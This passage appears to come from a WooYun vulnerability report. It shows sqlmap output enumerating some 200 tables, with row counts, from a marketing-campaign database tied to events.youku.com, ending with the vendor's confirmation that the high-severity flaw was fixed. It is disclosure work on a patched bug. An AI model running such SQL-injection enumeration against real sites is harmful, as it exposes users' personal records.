| hvsop_vote_logs | 119592 |
| unit_comments | 106379 |
| jw2ask_same_q | 103656 |
| kohler_comments | 99160 |
| hkdl_users | 96029 |
| bosideng_code | 94804 |
| unit_visitors | 88667 |
| kohler_prize_logs | 77184 |
| bsd_kpi_user | 74266 |
| chery_photo_vote_logs | 67003 |
| pepsi_media | 54178 |
| pepsi_ecards | 52210 |
| z_z_luck | 50082 |
| fm_support_log | 49933 |
| nivea_answer_logs | 40686 |
| remyvsop_register | 40522 |
| pepsi_users | 38966 |
| kohler_users | 38255 |
| levis_logs | 31502 |
| fm_work | 28260 |
| fm_number_bak | 24830 |
| z_z_p | 21427 |
| deyi_tickets_users | 20000 |
| z_z_txt | 18024 |
| ricola_tickets | 18000 |
| fm_user | 17564 |
| hvsop2014_users | 16194 |
| mql_seckill_log | 16105 |
| z_z_v | 14309 |
| lancome_infos | 11994 |
| cgirl_images | 10742 |
| oreo_images | 10494 |
| haizhiyan_users | 10392 |
| vsop_vote_email | 10389 |
| jw2ask_questions | 10212 |
| haizhiyan_images | 10111 |
| ht_user | 10048 |
| fm_kpi_member | 9056 |
| nikegz_image | 8601 |
| nikegz_pks | 8557 |
| nivea_users | 8348 |
| cgirl_users | 7939 |
| pepsi_comments | 7628 |
| nivea_awards | 7372 |
| z_z_comment | 7166 |
| marketing_kfc_cms | 6973 |
| fm_dream | 6879 |
| levis_win | 5721 |
| levis_data | 5440 |
| wzmt_seckill_log | 4586 |
| z_z_vote_id | 4555 |
| lee_moment_photos | 3753 |
| mggs_2015_users | 3619 |
| unit_videos | 3559 |
| clear_log | 3525 |
| pepsi_vote_logs | 3485 |
| wzmt_seckill | 3456 |
| global_china | 3222 |
| 7up_user | 3111 |
| etam_txt | 2865 |
| etam_comment | 2855 |
| wtcc_2011_users | 2733 |
| oreo_videos | 2720 |
| marketing_kfc_avatar | 2669 |
| superb_comments_bak | 2528 |
| clear_users | 2346 |
| fm_number_t | 2295 |
| roewe_user | 2276 |
| lancome_users | 2226 |
| pepsi_videos | 2217 |
| unit_users | 2172 |
| roewe_comment | 2127 |
| wtcc_2011_guestbook | 2064 |
| qingyang_comment | 1995 |
| zhijue_users | 1968 |
| roewe_guess | 1966 |
| bsd_rt_log | 1947 |
| vsop_users | 1777 |
| adidas_comments | 1702 |
| adidas_2011_tvc_info | 1697 |
| hvsop_live_email | 1678 |
| unit_voting | 1599 |
| vsop_videos | 1522 |
| jw2ask_plans | 1505 |
| ysl_data | 1500 |
| superb_comments | 1285 |
| wzmt_awards | 1278 |
| gucci_rt_logs | 1251 |
| nikegz_comments | 1178 |
| hvsop_comments | 1163 |
| pepsicny_videos | 1162 |
| vsop_live_mobile | 1046 |
| jasmine_comments | 1013 |
| chery_photos | 1006 |
| cruze_images | 959 |
| remyvsop_comment | 959 |
| zqbb_videos | 927 |
| cgirl_videos | 910 |
| vichy2013_winners | 879 |
| kohler_photos | 850 |
| crowneplaza_register | 771 |
| mamonde_2013_videos | 725 |
| onstar_regist | 686 |
| cityshow_data | 647 |
| nivea_photos | 616 |
| kfc_data | 602 |
| adidas_2010_football | 565 |
| gucci_users | 558 |
| gucci_comments | 552 |
| nfsq_users | 528 |
| icedew_videos | 504 |
| bugles_videos | 499 |
| aveo_clicks | 491 |
| remyvsop_mobile | 489 |
| marketing_apply_info | 443 |
| qingyang_videos | 427 |
| chery_comments | 389 |
| ford_users | 360 |
| dove_user | 357 |
| fm_number_test | 310 |
| chery_videos | 289 |
| global_minisites | 273 |
| cgirl2014_awards | 258 |
| z_z_vote_ip | 256 |
| z_z_vote | 251 |
| vsop_loop_videos | 239 |
| marketing_darenxiu | 233 |
| z_z_txt_vote | 217 |
| onstar_video | 204 |
| marketing_upload_info | 195 |
| unit_misc | 195 |
| hvsop_resumes | 175 |
| mql_award | 173 |
| global_units | 168 |
| remyvsop_teams | 163 |
| fiesta_2011_guestbook | 162 |
| mabelline_users | 157 |
| hzy_userdata | 147 |
| sprite_users | 140 |
| bosideng_1024_users | 139 |
| greetingcard_params | 135 |
| remyvsop_videos | 123 |
| loreal_flash_ad | 115 |
| global_accounts | 102 |
| z_z_module_luck | 101 |
| hvsop2013_awards | 96 |
| wtcc_2011_shots | 88 |
| sww_2011_users | 86 |
| friso2015_awards | 83 |
| mql_seckill | 83 |
| mql_seckill_bak | 81 |
| nivea_question | 80 |
| kohler_videos | 77 |
| nikegz_videos | 64 |
| sww_2011_videos | 61 |
| unit_cachedata | 58 |
| wmmt_videos | 57 |
| hvsop_videos | 51 |
| dumex_videos | 42 |
| benefit_videos | 41 |
| xiuyu_works | 40 |
| mustang_data | 38 |
| dove2014_videos | 37 |
| jw2ask_marked | 36 |
| background_users | 33 |
| cityshow_comment | 32 |
| marketing_fashion | 31 |
| cityshow_member | 28 |
| clear_game_log | 28 |
| ht_config | 28 |
| bosideng_video_vote_logs | 27 |
| superb_videos | 27 |
| cruze_users | 26 |
| chengxin_news | 24 |
| hvsop2014_20 | 20 |
| dove2014_erweima | 19 |
| aveo_comments | 16 |
| vsop_lyp | 16 |
| roewe_player | 15 |
| vsop_email | 14 |
| aveo_users | 13 |
| marketing_jianjiancao | 13 |
| clear_rt_log | 12 |
| hvsop_users | 10 |
| nivea_final_awards | 10 |
| remyvsop_news | 9 |
| cruze_videos | 8 |
| marketing_laifushi | 8 |
| roewe_config | 6 |
| wzmt_awards_bak | 6 |
| bosideng_videos | 5 |
| dove_video | 5 |
| global_testing | 3 |
| htc_config | 3 |
| remyvsop_banner | 3 |
| hzy_data | 1 |
| lancome_datas | 1 |
| mmd_datas | 1 |
| vichy2013_awards | 1 |
| z_z_email | 1 |
+--------------------------+---------+
[00:05:59] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occurances will result in replacement with '?' character. Please, find proper character representation inside corresponding output files.
[00:05:59] [INFO] fetched data logged to text files under 'F:\????\tools\SQLMAP~1.4\Bin\output\events.youku.com'

修复方案:

版权声明:转载请注明来源 小人物Reno@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-09-03 09:41

厂商回复:

感谢提交,已经及时处理!

最新状态:

暂无